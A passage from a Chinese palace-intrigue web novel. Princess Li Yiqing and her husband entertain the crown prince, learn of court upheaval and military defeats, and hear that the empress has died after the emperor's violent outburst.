李昀璟：“姑姑，放我下来吧。”
李意清：“没事儿，我能行。皇兄皇嫂，我们进去说话。”
说完，又笑着逗李昀璟，“安儿，姑姑带你去吃好吃的。”
李昀璟再次无奈地叹息，小嘴嘟囔着，却什么也没说。
他不是小孩子了，但是他并不排斥李意清的举动。
入府之后，桌上已经摆满了菜肴，梁师傅在旁边一脸希冀地看着李意清。
李意清闻到饭菜的香味，对梁师傅道：“三年不见，师傅手艺越发好了。”
梁师傅看着李意清，忽然鼻尖一酸，再有两年，他就花甲了。
曾经壮年的时候日日渴盼着回家过上含饴弄孙的日子，可是真的快要离开，心中却充满了不舍。
梁师傅道：“快尝尝，殿下一路奔波，这汤正好润润喉。”
李意清道了声谢，而后招呼太子和太子妃坐下，“皇兄皇嫂快坐，辞章，你去拿一壶酒来。”
太子老神在在。
太子妃：“不必这么麻烦，随意吃些就好。”
“不麻烦，皇嫂稍等。”元辞章声音清越，说完，转身离开。
人都坐下后，李意清将李昀璟放在自己的身边，亲手布置碗筷。
她看了一眼门口，开口道：“皇兄，皇嫂你们先吃，不必等。”
太子笑得散漫，带着几分揶揄，“无妨，许久没人能与我喝上一杯了。今夜我与伯怀，不醉不归。”
太子妃：“殿下，您的身子……”
太子李序泽摇了摇头，“难得意清和伯怀回来，我甚是开怀。今日只谈尽兴。”
太子妃便不再多说了。
这些日子以来，太子的压抑，冷静，失意，自持，她都看在眼底，心疼却又无能为力。
她的父亲已经致仕，母族已经不能再为她的太子殿下提供助力。
罢了，总归只是一醉。
有她在身边看着，出不了事的。
李意清本身随意的笑容忽然收敛了几分。
她很了解自己的兄长，即便是当初腿受了那么重的伤，也不曾有这样落寞的神情。
太子李序泽忽然朝她看过去，只一眼，李意清就读懂了他眼中的意思。
——别问，也别说。
李意清收拾了自己的
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情绪，“辞章他鲜少喝酒，皇兄想找人一醉，不如我来。”
太子笑眯眯地对身边的太子妃道：“你看，你看，清儿护得可真好。”
太子妃用手绢抿了抿嘴角，笑得含蓄从容。
“不过，”太子摇头哂笑，“伯怀大抵不同意你醉酒伤身。”
李意清想了想，没有反驳。
元辞章怎么舍得。
正说话间，拎着酒坛的元辞章也赶了过来，看见几人齐刷刷地朝着他看，有些不解。
“怎么了？”
太子道：“三年不见，看看你酒量涨没涨。”
元辞章不置可否地笑了笑，“殿下不许我过多饮酒。”
太子道：“只此一次。”
元辞章转头去看李意清，询问她的意思。
李意清看着兄长眼巴巴的神情，点了点头。
太子这才重新开怀，不客气地端起元辞章拿来的藏酒，揭开盖子闻了闻味道后，目光陡然变亮。
“百末旨意洪梁若下，十年的若下酒，伯怀可真舍得。”
说完，不等他人反应，给自己斟满一杯。
一口饮下后，他朗声大笑：“痛快！”
已经很久不曾这么痛快了。
他又帮元辞章满上一杯。
太子妃欲言又止地看着太子的动作，本想提醒一句这么饮会醉，可又难得看见太子殿下这般舒畅的神情。
微微犹豫，还是闭上了嘴。
李意清知道元辞章有分寸，因为并没有过多的关注喝酒的两人，转而看向身边的李昀璟。
“想吃什么？姑姑帮你布菜。”
李昀璟在心中默默估算了自己的短胳膊距离桌上饭菜的距离，最后绷着一张小脸认真对李意清道：“那就麻烦姑姑了。”
李意清：“不麻烦不麻烦，这个五味杏酪羊要不要一点？这菠薐菜看着新鲜，可多吃一点。”
李昀璟乖巧懂事，基本上不怎么挑食，李意清夹了什么，一应具收。
片刻后，李昀璟道：“谢谢姑姑，我吃饱了。”
李意清闻言，也不强求，盛了一碗汤放在他的面前。
“羊肉汤，驱寒，能喝就喝一点，喝不下也没关系。”
李昀璟小声道：“谁知盘中餐，粒粒皆辛苦。”
李意清笑：“真懂事。”
李昀璟不用人操心，李意清开始专心吃饭，偶尔看一眼正在痛饮的两人，旋即收回视线。
李序泽一杯接着一杯，饮酒如饮水。
元辞章倒是还有分寸，小口抿着。
吃了几口，她忽然品出一丝不对劲出来。
今日西北的军情送回京城，父皇怎么没召皇兄入宫共同议事？
她把半个脸埋在碗里，只露出一双眼睛悄咪咪地观察着太子李序泽的反应。
太子已经喝醉了。
李意清越想越不对劲，可是事已至此，说什么好像作用都不大。
她加快了吃饭的速度。
两人还在对饮，李意清抱着饮完汤的李昀璟，和太子妃一道出了屋子。
后院假山流泉已经结冰，腊梅绽放，香气悠远。
李意清望着自己皇嫂的背影，忽然惊觉比起上次见面，她又瘦削了几分。
168. 似醉非醉
太子妃身穿嫩黄色的衣装，搭配着草绿色的披帛，一阵风起，扬起她裙摆的纱。
仿佛随时都有可能被风吹倒。
李意清看了一会儿，弯腰对李昀璟道：“要不要休息一会儿？我让茴香姐姐带你去偏厅休息好不好？”
李昀璟撇了撇嘴。
大人总是这样，要说事情的时候就会找一些理由支开他。
可是他已经不是小孩子了。
李昀璟：“谢谢姑姑，安儿退下了。”
他抬眼看向茴香，伸出手，“茴香姑姑，带我走吧。”
茴香受宠若惊地看着他，伸手牵起他，走出几步，回头看了李意清一眼。
李意清微笑：“去吧。”
太子妃看了故意支开李昀璟的李意清，垂眸拨弄着自己手腕上的珠串。
她和太子少年相识，这个珠串是当时尚且年幼的太子远渡东海所得，自送给她后，她十年不曾取下。
可是平时视若珍宝的珠串，也不免在岁月中出现细微的划痕。
李意清主动走到太子妃的身边，“皇嫂……”
太子妃眼眶有些湿润，她用手绢轻轻擦干自己的眼角，偏头又是一如既往的温和端庄。
“意清，怎么了？”
李意清注视着她的双目，“我没事，只是你和皇兄……”
太子妃轻声道：“如今朝堂局势鱼龙混杂，殿下为此忧心不已。今日能得一醉，我很高兴。”
说完，她又垂下了眼眸，“我的父亲已经致仕，兄长和胞弟也官职有限，不能为殿下提供助力，真是惭愧。”
李意清：“皇嫂，太子哥哥从未因此伤怀。”
“我知道，”太子妃摇头，她抿了抿嘴角，忽然想起另一件事，“意清，你哥哥传给你的锦囊可有收到？”
李意清想起此事，点了点头，“我收到了。”
那枚锦囊等人离开后，她拆开看过，里面放着有一张扯下来的纸张。
里面画着一顶孔明灯。
李意清看了半响，试着对着光下，沾了水，什么也没有显现。
太子妃道：“嗯。意清，你要收好这张纸。你哥哥画了一整张纸，上面画着七八个东西，他选择了很久，才选定了这张孔明灯。”
虽然当时，太子殿下也有几分犹疑——“也不知道意清能不能看得明白”。
李意清默然颔首，“我知道。”
她心底隐隐有一个猜测，但是还需要时间证实。
太子妃看着李意清的面容，踟蹰了一瞬，还是伸手搭在了李意清的肩膀上，“妹妹，你的哥哥永远信任你，我与他一样。”
说完，她低头整理了自己的仪容，确认没有缺陷后，笑得温婉，“现在这个时候，殿下应该喝醉了，我去看一眼。意清，你要同去吗？”
李意清点了点头。
屋内，太子已经醉趴在了桌上。
明明已经醉得不省人事，但还是举着杯子，“伯怀，我们再饮一杯。”
元辞章坐在旁边，一只手撑在侧脸，眉眼清隽，带着一股说不出的慵懒随意。
他身上的酒味并不是很浓，对于太子的话语，也只是淡淡一笑。
一笑，原先身上的冷然尽数褪去，像是书中的翩翩公子走了出来。
看见太子妃和李意清一道进来，他站起身，微微行礼，“太子妃。”
太子妃抬了抬手，“不必多礼。殿下已经醉了，不知道有没有房间可供休息？”
元辞章看向李意清。
李意清点点头，“自然是有的，洛石，帮太子妃扶太子去厢房。”
洛石应声出现，朝几人微微俯首，扛起烂醉如泥的太子离开了屋内。
太子妃紧随其后离开。
等他们的身影消失在视线之中，李意清拉着元辞章坐下。
望着他微微泛红，水润的眼眸，她有些不确定的开口：“元辞章，你醉了没有？”
元辞章抬眸看她，语气慵懒：“殿下觉得呢？”
他的语气带着浅浅的笑意，像是胸腔振动发出的笑，又像是融化的涓涓春水。
像一把勾子。
李意清不自觉地哆嗦了一下，伸手抬起元辞章的脸庞，上下端详一番后，故意站起身欲走。
“大抵是醉了，我去喊许三过来扶你。”
突然，袖子传来一道反方向的力。
“殿下，你别走。”
李意清回头看去，只见元辞章伸手勾着她的衣袖。
明知道元辞章酒量很好，是在故意装醉，李意清依旧有些抵挡不住。
李意清立刻打消了自己离开的念头，坐在了元辞章的对面。
“怎么了？”
元辞章安静地看着她，睫毛下的眼神犹如深潭。
“我醉了，你扶我回去好不好？”
李意清愣了一瞬，心底有些不确定地看着他。
真就这么简单？
李意清站起身，看见元辞章高大的身子微微蜷缩，依靠在她的身上。
眉眼乖巧安静。
他身上原先淡淡的青竹味和酒味相结合，味道清冽又醉人。
李意清走了几步，发现元辞章真的安安静静靠在自己身上，卸下了自己的怀疑。
难道真的是自己看走眼了？元辞章真喝醉了？
元辞章总是冷静自持的，就连李意清都没有见过彻底大醉的模样。
李意清扶着他走了出去，门外站着的许三一脸茫然地看着自家公子弓着腰，以一种极其不舒服的姿势趴在公主的身上。
自家公子什么时候酒量这么差了？这几步路都需要人扶吗？
许三试探着伸出手：“殿下，要不还是我扶公子回屋吧。”
李意清感受着自己肩上的重量，欣然道：“好啊！”
靠在李意清身上的元辞章忽然睁开了双眼，淡淡地扫了他一眼。
许三：“……”
是他草率了。
他飞快地举起手，干笑道：“那个，殿下，茴香……不对，梁师傅，梁师傅喊我有事，我先去帮忙了。”
说完，他脚底抹油，一溜烟跑没影了。
李意清：？？？
梁师傅找许三能有什么事。
这两人一唱一和，真当她是瞎的吗？
“元辞章，你根本没醉。”李意清语气斩钉截铁，“快下来，自己走回去。”
元辞章手长脚长，牢牢抱住李意清，语气低哑，“不放，我不放。”
李意清伸手一根手指戳了戳他的脑门，语气纳闷，“怎么还像小孩子一样撒娇。”
元辞章身体僵硬了一瞬，不过很快恢复了正常，轻轻用侧脸蹭了蹭李意清的手腕，“有点困，想回去躺着。”
说完，不等李意清做出反应，闭上了眼睛。
耍赖的样子算是让李意清开了眼了。
李
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意清呼出一口气，定了定心神，认命地扶着元辞章回到寝殿。
掀开的珠帘摇摇晃晃，撞击声清脆悦耳。
李意清将元辞章放在床上后，犹豫了一瞬，弯腰准备将元辞章的鞋履脱下，好让他躺得更舒服一些。
但是手还没有碰到，忽然就被躺在床上的人用力一拉。
天翻地覆，再睁眼时，已经“醉了”的元辞章撑在她的上方，眸色清亮而润泽。
鼻尖相触，呼吸声交错可闻。
李意清被猛然放大的脸庞惊艳了一瞬，旋即有些匆忙地移开视线。
“你，你快休息吧。我去茗禾为你煮醒酒汤。”
元辞章克制地垂眸看她，眼神宛如一片深海。
见他不应，李意清加大了手上推攘的力气。
用力一推，元辞章被掀翻，李意清趁此机会快速跳下床，回头看了一眼半响没回过神的元辞章，跑了出去。
说出去毓心和茴香估计都不会信，有朝一日她也能单手掀翻元辞章。
李意清心跳砰砰，大脑宕机，出来后站在门边平复着心情，然后才想起来要去找茗禾。
等她走后，元辞章才坐起身，伸手将自己的鞋履脱下，安安静静地坐在床边等待。
等醒酒汤煮好，已经是一刻钟之后。
李意清端着醒酒汤回来，看到的就是坐得端正的元辞章。
她一路上绞尽脑汁想到的控诉在这一刻全部偃旗息鼓，将托盘放下后，伸手端起小碗，一勺一勺喂给元辞章。
元辞章十分配合。
喂了半碗，李意清顺手将碗放在一旁，拿起帕子擦了擦他的嘴角。
“好好休息，我先出去了。”
元辞章忽然开口：“意清。”
李意清：“怎么了？”
元辞章定定地看着她，不知道如何将方才桌上的谈话告诉她。
李意清不明所以，元辞章看着似醉非醉，就连她也一时看不清。
要说醉了，他看着神情清醒，口齿清晰，要是说没醉，他的行为举止根本不像是清醒时候能做出来的举动。
她耐心地等着元辞章的后半段话。
“意清，”元辞章微顿，“无论什么时候，相信自己的判断。”
李意清怔怔地看着他。
他这是话里有话。
元辞章继续道：“还有，别忘了，无论任何时候，我都会陪在你的身边。”
说完，他就不再多言，安静地躺在床上睡着了。
李意清站了一会儿，转身端着托盘出去。
到了晚间时分，太子府派人来接的马车才到公主府门外。
姗姗来迟的车夫朝李意清拱了拱手，将还在醉着的太子抬上了马车。
太子妃随行照顾，马车上酒味浓郁，将李昀璟留在了公主府。
临行前，太子妃看着李昀璟，伸手摸了摸他的脑袋，“这几日你先住在姑姑的府上，等母妃闲下来了，再接你回去。”
李昀璟端端正正地朝太子妃俯首，“母妃放心，安儿知道。”
太子妃不舍地看了他一眼，转身上了马车。
李昀璟目送马车离开，走到李意清的身边，“姑姑，这段时日麻烦了。”
他的声音清脆，目光坦荡，懂事得让人心疼。
李意清牵起他的手，正准备往回走的时候，忽然看见许三着急忙慌地跑进来。
“殿下，殿下！”
169. 邹尚书
李意清看了一眼抿嘴不语的李昀璟，给了许三一个眼神。
许三也看见了站在她身边的皇太孙，连忙噤声。
李昀璟无奈道：“姑姑有事先忙，安儿去找茴香姑姑了。”
说完，朝她施礼，转身踏步离开。
太子哥哥还真是生了一个自己。李意清在心底感慨了一句，然后看向许三：“怎么了？”
许三将袖中折起的邸报拿出来，“西北传来军情，连败两城。陛下气极，准备罢了盛大将军的职。”
李意清忽然一阵头晕目眩。
她伸手接过邸报，将上面的内容一一看完。
邸报正是今日新印的，上面还能清晰得闻到墨水的味道。
两城，连败两城……
李意清喃喃自语：“现在已经入冬，大夏粮草紧缺，怎么会在这个时候有如天助……”
她百思不得其解。
忽然，身后传来一道脚步声，许三相对而站，立刻作揖：“公子。”
李意清回头，看见已经换了一身衣裳的元辞章。
元辞章看样子已经酒醒，神色清明，他一只手扶住李意清的肩头，另一只手接过邸报。
看完后，脸色沉肃了几分。
“果真如此。”
许三连忙追问道：“公子，这可如何是好？”
“你去准备马车，我要去拜见兵部邹尚书。”元辞章冷静吩咐，顿了顿，转头看向李意清，“殿下可要随我一起？”
李意清一愣，“我吗？”
元辞章：“殿下还记得，今日我与殿下说了什么？”
无论什么时候，他都会永远陪着她。
可是此行去找兵部尚书，应当是讨论政事，她，真的能去吗？
李意清只犹豫了一瞬，便点了点头。
“我去换身衣服，很快。”
元辞章声音沉稳，带着安定人心的力量：“不急。”
过了一阵子，李意清换好衣裳走出来，许三已经马车套好缰绳。
马车旁边的元辞章抱着一垒书页，李意清捻着裙角上前两步，视线在他手上抱着的书页上游离，语气好奇道：“你抱的是什么？”
“这些待会儿再说。”元辞章将书页放在一旁，解开自己背上的斗篷系在李意清的肩上，“天这么冷，怎么不穿一件斗篷。”
李意清不在意地摆了摆手，踮起脚尖看向那垒书页。
“这是……近三年的邸报？”
元辞章牵她上马车，坐好后，才道：“是，我方才看完。原来三年之间，变化颇多。”
顾不得赞叹他阅读的速度，李意清连忙从三年前离开的第一张读起。
一读，就沉浸了下去。
元辞章见她专心，，透过帘子对外面驱车的许三道：“行慢些，不可颠簸。”
京城的官道比舒州自然平坦，许三御马得心应手，闻言立刻道：“好嘞公子，您就放心吧。”
李意清安静地看着邸报，不知不觉，已经到了最后一张。
三年时间，朝堂格局变化，原先的孟氏气数已尽，原先的兵部尚书程尚书告老还乡，新上任的邹尚书正是元太夫人的次女元兰的夫婿。
元辞章还未回京，就收到了邹尚书的帖子，邀他一叙。
五皇子渐渐成长，贤贵妃家世显赫，有不少人愿意投高家所好，给与支持。
最让李意清意外的，是顺成帝一点一点将太子移出权力中心，先是剥夺了天子的监国之权，后来更是一步步打散太子背后的支持势力。
顺承读下来，已经布局一年有余，早在太子的双腿被烧着的房梁砸到就开始。
怎么会这样？
李意清心中茫然，恨不得现在直接进宫，去找父皇问个清楚。
可是……她恍惚想起太子皇兄传给她的一张信纸。
上面画着一盏燃烧的孔明灯。
难道自己的父皇，也会随着时间的蹉跎而变得喜怒无常、难以捉摸吗？
还有母后，母后的身体怎么会突然变得这么差，明明上次回来，她看起来面色依旧红润……
李意清不动声色地收敛了自己所有的情绪，揉了揉有些酸涩的眼睛。
马车不知道什么时候已经停下，一旁的元辞章正在闭目养神。
元辞章适时睁眼，看见李意清一脸若有所思的神情，轻声道：“看完了？”
李意清低垂着眼帘，应了一声。
“等很久了吗？”
元辞章微微摇头，“没有，反正不急于一时。”
窗外的风吹竹动声传了进来。
李意清伸手摸了摸自己的脸庞，问元辞章：“我的脸现在红吗？”
元辞章：“没有。”
李意清点点头，率先跳下马车。
落后一步的元辞章拿起一个木盒压在书页上，而后走到李意清的身边，朝着邹府守门的小厮道：“入城之时我已经给姑祖父通过信，今日特来拜会。”
元太夫人的次女元兰，当初正是嫁给了尚且是侍郎的邹远道。
当初元辞章迎娶於光公主入府，邹夫人也是亲自送了礼。
守门的小厮立刻拱手：“元大公子先去偏厅小侯，奴才先去跟我家老爷禀告一声。”
说完，推开了大门让两人进去。
他的动作很快，两人趁夜而来，说不定就是什么重要事，可不能被自己耽误了。
李意清和元辞章对视一眼，一同到了偏厅。
邹远道来得很快，急匆匆地赶到偏厅后，连忙朝着李意清拱手。
“公主殿下。”
李意清微微抬手，“姑祖父不必客气。”
邹远道和她交往不多，故而用了敬语，李意清顺着元辞章的辈分唤他一声“姑祖父”，算是无形中拉近了距离。
元辞章在京城的根基本就不多，能多一人相帮，自然大有裨益。
邹远道眉眼不懂声色的舒展。
元辞章：“姑祖父。”
他转头看向元辞章，慈爱的目光落在元辞章的身上，“昔年舅兄在时，我们两家常有来往，我也算亲眼看着辞章长大。如今数年不见，见到辞章已经长成翩翩公子，倒是叫我感慨万千。”
他一边说着，一边伸手抹了抹眼睛。
李意清这才发现，邹远道一路小跑到此，发髻微散，鞋履都穿的不是同一双。
邹远道说完，正了正神色，询问元辞章：“你已经回到京城，应该对京城局势有所了解吧？”
元辞章：“虽看完邸报，却终究纸上所得。”
邹远道不自觉露出一抹赞赏，顿了顿，道：“既然如此，且让我先说道一二。”
一个时辰，邹远道将三年来发生的大事徐徐说来。
说完，他端起茶杯，猛饮一大杯下肚后，“可还有什么要询问的
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？”
元辞章偏头观察李意清的反应，见她神情尚且镇定，才朝邹远道道：“并无，多谢姑祖父。”
邹远道摆了摆手：“不必言谢。辞章，你此番回来，时机很对，却，也不对。”
元辞章淡淡一笑，抿唇不语。
三人静坐片刻，有府上仆人送来茶水和糕点。
糕点有李意清最喜欢的琼花酥，可是她今日一眼没看。
忽然，一阵嗓门从门外传来，未见其人，先闻其声。
“辞章和公主来了府上，你们怎地也不和我说一声。”
邹远道喝茶的动作猛地一呛，“咳咳。”
元辞章站起身，走到他的背后为他顺背。
“是你姑祖母，她往日里睡得早，没想到还是惊动她了。”
邹远道话音未落，门砰地一声被人推开。
邹夫人在屋内扫视一圈，立刻锁定元辞章的方位所在，走了过去，抱住了元辞章的肩头。
“辞章，回来了，怎么不先和姑奶奶说一声。”
她的声音苍老哀伤，带着隐隐约约的哭腔。
邹远道摸了摸鼻尖，小心翼翼地开口道：“夫人，为夫以为你已经就寝……”
邹远道不说话还好，一说话，立刻迎来邹夫人的瞪视，“你还好意思说！当年我兄长遭到贬谪，母亲随他南下江宁，我只是想去送送她，却被胆小怕事的你拦在家中，如见再见，已经难如登天。”
邹远道面容惭愧：“当年之事，是我过分谨慎。”
元辞章道：“当年之事凶险，姑祖父明哲保身，实乃人之常情。”
邹远道：“如今风云诡谲，鱼龙混杂，才惊觉身边能相信的人只有骨血至亲。”
元辞章轻咳一声，道：“今日听到颇多事情，等过两日我厘清思绪，再来拜见姑祖父。”
邹夫人有心挽留，却知道如今多事之秋，实在不是寒暄的好日子。
她目光在元辞章和李意清的身上流转，叹了一口气道：“总归现在你们回来了，日后一家人同在京城，有商有量，总比孤身一人来的好。”
走到门口，元辞章道：“姑祖父、姑祖母留步，夜冷风寒，不必远送。”
邹远道应了声，目送两人走上马车。
等马车走远，邹夫人才紧皱着眉头，训斥道：“今日好端端的，非说什么骨肉血亲，这不是刺激公主殿下吗？”
邹远道惊呼一声：“是我失言，是我失言。”
邹夫人：“我看你啊，是越老越糊涂，幸好今日公主没多说什么，否则……”
她点到即止，说完，抖了抖身上的披帛，转身回到府上。
*
马车中，元辞章伸手握住了李意清的指尖。
往日她的手也不暖和，可不像今日这般冰凉。
“意清，今日……”
李意清摇了摇头，“我没有在意，我只是很好奇，能让父皇对母后不屑一顾的玉顺仪，是何等绝色。”
元辞章默然。
一滴泪珠掉了下来，李意清有些怔怔地看着裙摆上润湿的一小片痕迹。
“母后与父皇少年夫妻，后来父皇君临天下，后宫的妃子也越来越多，但是无论何时，父皇对母后始终保持着一份敬畏……我只是想不明白，玉顺仪有什么特别，能让父皇夺去母后掌管中宫之权。”
明明她离开的时候，事情还不是这样的。
170. 夜入皇宫
元辞章低叹一声，伸手将李意清抱在自己的怀中。
“意清……”
他不知道他人作何感想，只能保证自己终其一生，永不负她。
许诺难能可贵，现在对李意清而言，并不是许诺就能解开她心结的时候。
如果说能够让她有一丝一毫的安慰，他愿意每日重复百次千次，但是现在，她需要的更多的是时间的验证。
元辞章难得心中有几分自负的想，总有一日他能站在岁月的尽头，嘲笑所谓絮果不过他心易变。
李意清闭眼哭了一会儿，再睁眼的时候，已然冷静了几分。
“母后现在身体不好，我明日一早就要进宫，去看望她。”
元辞章：“我陪你同去。”
李意清望着他安静而坚定的眼眸，点了点头，“也好。”
不论父皇与太子哥哥在争执什么，但是在现在这个时候，她只希望能有亲人陪在自己的身边。
元辞章伸手抚摸着她的长发。
李意清：“对了，方才在堂中，我看你神色冷然，是发生了什么吗？”
“姑祖父先一步送信过来，说是与我叙旧，他为人老实中正，可却胆小谨慎，姑祖母自不必多说……”元辞章语气淡然，听不出任何喜怒，“午后我让许掌事去查此事，才知晓姑祖母家的孙儿邹桡看上了贤贵妃外甥的女眷，惹了贤贵妃的不悦。所以，主动来找我，是他们的无奈之举。”
凭借太子李序泽和李意清一母同胞的关系，如今太子殿下受尽冷落，他们怎么可能现在献好。
那可是亲生母亲永不归京，都不敢露面一见的人。
元辞章入城的时候就隐约觉得蹊跷，此事算不得秘闻，虽然邹家有意压制，费点心思查出真相，却算不上难。
李意清：“人性如此，其实即便没有邹桡这一层缘故，贤贵妃也不会愿意信他。”
元辞章：“可惜姑祖父和姑祖母看不懂。”
不过无妨，多一人站在自己这一边，多留点心，还是一个不小的助力。
他并没有过多放在心上。
马车轱辘向前，车窗外头，万家灯火犹如白昼。
京城的夜繁华而喧嚣，小小的马车中，却像是一处空山幽谷。
幸好，山中桂花不曾凋落。
马车停下，李意清被元辞章扶下来，站定后，看见早早等候在门口的茴香和毓心等人。
毓心上前两步，手中捧着李意清惯常穿的斗篷。
茴香走到她的身边，低声笑道：“我就说嘛，驸马肯定不会让殿下冻着。”
毓心看着李意清身上的斗篷，也附和地笑了笑。
茴香走到李意清的身边，见李意清神情有些低迷，主动上前抱住她的胳膊，“殿下，我方才才将皇太孙殿下哄睡下，你都不知道，皇太孙人虽小，但是行事特别稳重，不用我催促自己就开始习课练字。”
今天总算有一个还不错的消息了，李意清微微一笑：“太子哥哥亲自带在身边教导，自然是不会差的。对了，梁师傅新晒腊肉好了，让师傅买些冬笋回来煲着。”
茴香立刻应了一声，“殿下你放心，我一定记着。厨房今日新炖了银耳雪梨汤，清嗓润肺，皇太孙那边已经送过去了。殿下可要饮一碗？”
“好啊。”李意清笑道，“多加些糖。”
她今晚想喝一碗甜甜的银耳雪梨汤。
茴香自然不会拒绝，应了一声，蹦蹦跳跳走了进去。
她动作轻快敏捷，像是一只出来觅食的兔子，看得众人不禁笑了出来。
李意清和元辞章对视一眼，准备走入府上的时候，忽然身后的玄武大道传来一阵整齐的马蹄声。
入夜之后能在京城之中弄出如此大的动静，只能是城中禁军。
原先热闹的街道被马蹄声覆盖，众人纷纷探头探脑，看着为首人手上举着的旌旗。
李意清心中忽然升起一抹极强的不安，用力地攥紧元辞章的手腕。
禁军在经过公主府的时候分出一队，为首的禁军统领狄博煦将旌旗传给身边的副将后，走到了李意清的面前。
“公主殿下。”
他的声音沉重而无力，似乎不知道怎么开口。
元辞章偏头看向李意清的神色。
李意清的睫毛微微颤了颤，而后抬起眼眸，望向跪在台阶下的狄博煦。
“发生了什么事？”
她的嗓音尽可能地保持镇定。
狄博煦犹豫了一瞬，沉声道：“今日西北军情传来，陛下大怒，于太和殿剑斩数十人，后来韩珦韩尚书拼死请皇后出面劝诫……”
李意清眸色黑沉，紧紧地盯着他的双目。
“然后呢？”
狄博煦：“……娘娘，娘娘猝然见血，又被陛下训斥，心情骤然起伏之下，已经……已经仙去。”
说完，他带头，重重地叩在地上。
李意清眼前一阵眩晕，幸好身边的元辞章眼疾手快，及时搂住了她。
狄博煦道：“殿下，当下应当如何？”
李意清伸手握住了元辞章的手腕，闭了闭眼，声音故作平静镇定，“你明日还有事与众臣商议，先回去休息吧。”
元辞章：“意清。”
李意清：“元辞章，我能应付得来。”
从这些年的邸报和邹远道的描述中可以得知，顺成帝这些年已经变了太多。
她毕竟是顺成帝的女儿，可是元辞章却不能在这个时候见到君王狼狈的一面。
君王盛怒之下，伏尸百万，她不希望元辞章有丝毫的损伤。
元辞章默然地看着李意清，半响后，朝李意清微微拱手。
“我在府上等夫人回来。”
李意清看着他转身，心中升起一抹茫然的意味。
一旦习惯身后永远站着的那道身影，失去他，似乎就不知道该如何行走。
毓心看着李意清发红的眼眶，心中满是心疼，她有意出声安慰，却不知道该说什么。
身边的洛石先一步反应过来，连忙对守门的小厮道：“快，快去，重新把马车牵出来。”
李意清在脸上胡乱揉搓了一把，哑着嗓音道：“狄统领，借你骏马一用。”
狄博煦还没来得及回应，只见人影快速跃上骏马，而后猛然疾驰入夜色。
洛石看着李意清的背影，连忙走到另一个骑马的禁军身边，朝人拱手道：“这位兄台，借骏马一
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那人见他神色犹如滴血，二话不说翻身下马，洛石道了声多谢，追随而去。
狄博煦连忙挥手：“还愣着做什么，还不跟随在殿下身后。”
一行人浩浩荡荡地追随李意清朝着宫门方向而去。
不会骑马的毓心站在府门口外面心急不已，牵马回来的车夫见门口只剩下两个禁军，有些不知所措。
“毓心姑姑，这……”
毓心用力掐着虎口，转头走向守门的侍卫：“皇太孙还在府上，你去禀告驸马，请他代为照顾，还有安抚好茴香，她担心殿下，若是不顾尊卑闯了皇宫，大事不妙。殿下不在的时日，一切听从驸马吩咐。”
说完，她不再多留，上了马车，朝着皇宫方向而去。
*
李意清骑在马上，回来时尚且热闹的街道此刻万籁俱寂，安静得可怕。
朔风冷寒，吹在她的脸上，眼角刚渗出的泪水就被风干。
皇后仙去，皇后仙去……
明明半年前她回来的时候，皇后一身华贵的凤袍，端坐高台，从容静好。
李意清心痛得难以复加。
视线被泪水糊住，被她快速擦干，然后继续朝着宫门而去。
皇宫门口已经落锁，值夜的带刀侍卫两班交接，听到疾驰的马蹄声，立刻拔出腰间的大刀。
兵器的银光在夜色下冷冷森然。
“什么人？！竟敢擅闯皇宫！”
李意清：“本殿乃於光公主，还不速速避让。”
她一边说着，一边将腰间的公主令甩了出去。
侍卫手忙脚乱地接过令牌，看见上面的字后，神色猛然一变。
於光公主趁夜而来，只能是为了皇后娘娘的事情。
为首的侍卫恭敬道：“奴才见过公主殿下，殿下，皇宫都是贵人，骑马夜行，怕是不妥。”
李意清声音冰冷：“让开！”
骏马横冲直撞，侍卫几人对视一眼，让开通路。
今日注定不太平。
李意清一路骑到太和殿门外。殿外台阶下，已然来了不少住得近的臣子，看得出来都是匆匆忙忙赶来，神情恍惚，但是一到场，都开始小声的哀哭。
李意清翻身下马，看着眼前这一幕，一步步向上走。
越往台阶上走，血腥味越发浓郁。
殿外，已经跪着一排各宫赶来的妃嫔，衣着素淡，拿着手绢擦着眼角的泪水。
“娘娘啊娘娘……”
淑贵妃在其中哭得声音最大，她像是伤心极了，伸手捂着自己的心口，语气哀切。
见到李意清，她擦了擦眼角的泪水，拦住她前行的脚步，出声劝阻：“公主，公主，现在陛下盛怒当中，您还是不要进去的好。”
李意清没有下跪，侧头向下看了一眼淑贵妃，以及她身后的玉顺仪。
玉顺仪察觉到李意清落在自己的视线，不动声色向着淑贵妃的身后避了避，声音娇娇软软地开口：“妾身玉氏，请於光公主安。”
淑贵妃眉间一蹙。
李意清只看了一眼，伸手退开了殿门。
门中，传来顺成帝暴怒的声音——
“都给朕滚！”
171. 人心易变
太和殿中烛光摇曳。
李意清借着烛光，看清了太和殿中的样子。
被顺成帝拔剑砍死的臣子的七零八落，血流一地，顺成帝坐在桌案后面，单手支着脑袋。
在他的脚边，躺着一个面容安详的女子，身着华服，神情安详。
“听不到朕的话吗？信不信朕杀了你。”
李意清在看清华服女子的时候，心跳猛然停顿了一刻，听到顺成帝的话，猛然出声喊道：“父皇！”
顺成帝迟钝地抬起头来，看向李意清。
他脸上暴怒、哀伤具有之。
“意清，你回来了……”
李意清一步步走到女子的身边，伸手将她揽在自己的怀中。
她抱着怀中冰凉的身体，皇后头上的凤冠又冷又沉，压得她都有些喘不过气。
“父皇，这些人，还有母后，是你杀的吗？”李意清的声音很轻。
顺成帝伸出一只手遮挡住了自己的半边脸，流泪的一侧被他挡住。
他隐忍地看着李意清和皇后，语气带着几分讥讽，“我早就告诉过你的母后，不要参与朝堂之事，可是你的母后不肯在坤宁殿休养，非要听那些臣子的话前来……最后害死了自己。”
李意清难以置信地望着顺成帝：“父皇到现在还这般想吗？”
顺成帝冷冷一甩袖子，站了起身，背对着李意清：“朕是天子，君要臣死，臣不得不死，意清，你难道要因为几个臣子的死与父皇产生间隙吗？”
李意清心凉一片。
她没有说话，顺成帝也没有动静。
李意清伸手抚摸着皇后的面容，厚厚的脂粉之下，是一张早已经苍白虚弱的面容。
她早该想到的，皇后偏爱瓜果香，可是她回来的那次，房中香气浓郁。
如果当时仔细一点，就能透过这些香味的遮掩，闻到母后身上的草药味了。
静默之中，门外忽然响起一阵通传。
“陛下，陛下，五皇子特来求见！”
“陛下，太子殿下求见！”
顺成帝随手拿起地上的一卷卷轴砸到门上，“都给朕滚！”
卷轴砸过去之后，门外的喧嚣声果然沉寂了下来。
顺成帝忽然拿起茶水，倒进了燃烧的香炉之中。
嗤啦一声，炉中的香火熄灭。缭绕的香烟烟丝渐渐散开。
李意清忽然发现，太和殿中的香和过往的香味道截然不同，虽然陌生，却又在陌生中透露了一股熟悉。
她在进殿之前，就闻到了这种味道。
